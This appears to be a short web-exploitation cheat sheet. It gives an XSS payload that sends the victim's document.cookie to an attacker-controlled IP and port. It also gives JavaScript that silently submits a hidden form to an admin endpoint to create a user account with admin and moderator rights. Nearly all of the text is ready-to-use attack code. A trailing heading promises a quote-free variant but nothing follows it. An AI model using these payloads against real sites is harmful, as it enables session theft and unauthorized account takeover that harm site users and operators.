Exploitation
XSS Cookie Stealer
<img src onerror=window.location.replace("http://[IP]:[PORT]/a"+document.cookie);>Execute action with JavaScript
var form = document.createElement("form");
form.method = "POST";
form.action = "http://[URL]:PORT/admin/users/create";
["name", "email", "isAdmin", "isMod"].forEach(function (key) {
var input = document.createElement("input");
input.type = "hidden";
input.name = key;
input.value = {
name: "exploit",
email: "aa",
isAdmin: "True",
isMod: "True"
}[key];
form.appendChild(input);
});
document.body.appendChild(form);
form.submit();No ' or " version
Last updated